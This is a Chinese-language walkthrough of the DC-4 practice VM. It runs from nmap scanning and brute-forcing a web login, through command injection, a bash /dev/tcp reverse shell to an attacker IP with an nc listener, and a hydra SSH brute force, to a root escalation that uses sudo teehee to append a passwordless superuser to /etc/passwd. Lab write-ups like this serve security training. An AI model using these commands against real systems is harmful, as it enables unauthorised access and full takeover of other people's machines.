老规矩,先把目标机的IP地址扫出来,查看IP地址段,用nmap扫一扫
nmap -T4 -sV 172.20.10.1/24
目标机器使用的是linux系统,打开了22和80端口,IP地址为172.20.10.4
访问目标IP地址的80端口,发现是一个登录窗口,需要用户名和密码才可以登录,尝试着扫描有没有其他目录,无果,使用的nginx也没有可利用的漏洞。那么只能猜测用户名以及爆破密码,又得考验字典了
猜测用户名为admin,爆破密码为happy,使用该密码登录
点击command,发现这是个执行命令的界面
抓包分析,发现是直接用shell执行命令的
更换命令为whoami证实猜想,网页返回了结果
那么就可以反弹shell,将目标机的shell会话反弹给攻击机,反弹shell在DC-3中有过实践
先使用nc监听4445端口
nc -lvvp 4445
然后将反弹shell的命令通过数据包发出去
bash -c 'bash -i >& /dev/tcp/172.20.10.5/4445 0>&1'
攻击机那边的nc监听有了会话返回,返回的用户为www-data,接下来就需要进行提权
利用python -c "import pty;pty.spawn('/bin/sh')"
使得shell交互更加友好
翻了翻文件夹,在home文件夹中有三个用户,其中在jim用户文件夹下有一些文件,在/home/jim/backups文件夹下有个old-passwords.bak,打开发现是一个密码字典,只能尝试使用这个字典来尝试爆破jim的密码,有了密码也可以尝试su命令看看能不能混到root权限
目标机打开了22端口,可以使用hydra对SSH进行密码爆破,将old-passwords.bak文件中的密码复制出来使用hydra对密码进行破解,hydra也是爆破的利器,我也一知半解
hydra -l jim -P passwd ssh://172.20.10.4
得到jim的密码
使用SSH登录jim的账号,发现有一封电子邮件
ssh jim@172.20.10.4
打开电子邮件,有一封来自charles@dc-4
输入more查看邮件的具体内容,发现了charles的密码
使用su切换用户为charles
查看能使用sudo的命令,只有teehee命令
teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
新增超级用户test之后,切换用户为test,权限为ROOT,提权成功
打开root文件夹下的flag.txt文件,DC-4练习结束